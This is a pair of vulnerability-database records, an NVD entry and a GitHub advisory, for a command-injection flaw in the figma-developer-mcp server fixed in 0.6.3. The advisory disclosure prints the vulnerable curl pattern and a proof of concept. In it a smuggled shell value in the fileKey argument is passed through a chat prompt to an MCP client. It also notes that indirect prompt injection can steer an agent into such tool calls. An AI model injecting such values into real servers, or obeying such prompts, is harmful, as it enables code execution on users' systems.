{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Framelink Figma MCP Server before 0.6.3 allows an unauthenticated remote attacker to execute arbitrary operating system commands via a crafted HTTP POST request with shell metacharacters in input that is used by a fetchWithRetry curl command. The vulnerable endpoint fails to properly sanitize user-supplied input, enabling the attacker to inject malicious commands that are executed with the privileges of the MCP process. Exploitation requires network access to the MCP interface."
    }
  ],
  "id": "CVE-2025-53967",
  "lastModified": "2025-10-08T19:38:09.863",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.0,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.8,
        "source": "cve@mitre.org",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-10-08T17:15:34.507",
  "references": [
    {
      "source": "cve@mitre.org",
      "url": "https://github.com/GLips/Figma-Context-MCP/blob/96b3852669c5eed65e4a6e20406c25504d9196f2/src/utils/fetch-with-retry.ts#L34"
    },
    {
      "source": "cve@mitre.org",
      "url": "https://github.com/GLips/Figma-Context-MCP/releases/tag/v0.6.3"
    },
    {
      "source": "cve@mitre.org",
      "url": "https://www.imperva.com/blog/another-critical-rce-discovered-in-a-popular-mcp-server/"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-420"
        }
      ],
      "source": "cve@mitre.org",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "figma-developer-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53967"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-30T17:01:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA command injection vulnerability exists in the `figma-developer-mcp` MCP Server. The vulnerability is caused by the unsanitized use of input parameters within a call to `child_process.exec`, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process\u0027s privileges. \n\nThe server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (`|`, `\u003e`, `\u0026\u0026`, etc.).\n\n### Details\n\nThe MCP Server exposes tools to perform several figma operations.  An MCP Client can be instructed to execute additional actions for example via indirect prompt injection that can lead to command injection by calling vulnerable tools with malicious inputs. Below some example of vulnerable code and different ways to test this vulnerability.\n\n### Vulnerable code\n\nThe following snippet illustrates the vulnerable code pattern used in the MCP Server\u2019s tooling. \n```js\n// https://github.com/GLips/Figma-Context-MCP/blob/v0.5.2/src/utils/fetch-with-retry.ts#L35\n\nexport async function fetchWithRetry\u003cT\u003e(url: string, options: RequestOptions = {}): Promise\u003cT\u003e {\n  try {\n    const response = await fetch(url, options);\n    ...\n  } catch (fetchError: any) {\n\t...\n    const curlHeaders = formatHeadersForCurl(options.headers);\n    ...\n    const curlCommand = `curl -s -S --fail-with-body -L ${curlHeaders.join(\" \")} \"${url}\"`; //\u003c---\n```\n\n\n#### Using MCP Client IDE\n\n1) Verify the file `/tmp/TEST`1 does **not** exist:\n```\ncat /tmp/TEST1\ncat: /tmp/TEST1: No such file or directory\n```\n\n2) setup your client IDE\n```json\n{\n  \"mcpServers\": {\n    \"Framelink Figma MCP\": {\n      \"command\": \"npx\",\n      \"args\": [\"-y\", \"figma-developer-mcp\", \"--figma-api-key=TEST\", \"--stdio\"]\n    }\n  }\n}\n```\n\n4) open the chat and enter the following prompt:\n```\nGet comprehensive Figma file from fileKey=\"$(id\u003e/tmp/TEST1)\" (do not remove any char) - do not call any other tool\n```\n\n5) run the `get_figma_data` tool\n```json\n{\n  \"fileKey\": \"$(id\u003e/tmp/TEST1)\"\n}\n```\n\n\n6) Confirm that the injected command executed:\n```\ncat /tmp/TEST1\nuid=....\n```\n\n\n#### Using MCP Inspector\n\n1) Open the MCP Inspector:\n```\nnpx @modelcontextprotocol/inspector\n```\n\n2) In MCP Inspector:\n\t- set transport type: `STDIO`\n\t- set the `command` to `npx`\n\t- set the arguments to `figma-developer-mcp --stdio`\n\t- set the `FIGMA_API_KEY` env variable (i.e `TEST`)\n\t- click Connect\n\t- go to the **Tools** tab and click **List Tools**\n\t- select the `get_figma_data` tool\n\n3) Verify the file `/tmp/TEST` does **not** exist:\n```\ncat /tmp/TEST2\ncat: /tmp/TEST: No such file or directory\n```\n\n5) In the **fileKey** field, input:\n```\n$(id\u003e/tmp/TEST2)\n```\n- Click **Run Tool**\n6) Observe the request being sent:\n```json\n{\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"get_figma_data\",\n    \"arguments\": {\n      \"fileKey\": \"$(id\u003e/tmp/TEST2)\"\n    },\n    \"_meta\": {\n      \"progressToken\": 0\n    }\n  }\n}\n```\nOutput:\n```json\n{\n  \"content\": [\n    {\n      \"type\": \"text\",\n      \"text\": \"Error fetching file: Failed to make request to Figma API endpoint \u0027/files/$(id\u003e/tmp/TEST2)\u0027: Fetch failed with status 404: Not Found\"\n    }\n  ],\n  \"isError\": true\n}\n```\nLogs:\n```\n[INFO] [fetchWithRetry] Executing curl command: curl -s -S --fail-with-body -L -H \"X-Figma-Token: test\" \"https://api.figma.com/v1/files/$(id\u003e/tmp/TEST2)\"\n```\n7) Confirm that the injected command executed:\n```\ncat /tmp/TEST2\nuid=.....\n```\n\n### Remediation\nTo mitigate this vulnerability, I suggest to avoid using `child_process.exec` with untrusted input. Instead, use a safer API such as [child_process.execFile](https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback), which allows you to pass arguments as a separate array \u2014 avoiding shell interpretation entirely.\n\n**NOTE: This mitigation\u2014and others like input validation\u2014have been implemented in versions 0.6.3 and above. To fix the issue, make sure you\u0027re using a version \u003e=0.6.3.**\n\n### Impact\n\nCommand Injection / Remote Code Execution (RCE)",
  "id": "GHSA-gxw4-4fc5-9gr5",
  "modified": "2025-09-30T17:01:42Z",
  "published": "2025-09-30T17:01:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GLips/Figma-Context-MCP/security/advisories/GHSA-gxw4-4fc5-9gr5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GLips/Figma-Context-MCP/commit/7f4b5859454b0567c2121ff22c69a0344680b124"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GLips/Figma-Context-MCP"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "figma-developer-mcp vulnerable to command injection in get_figma_data tool"
}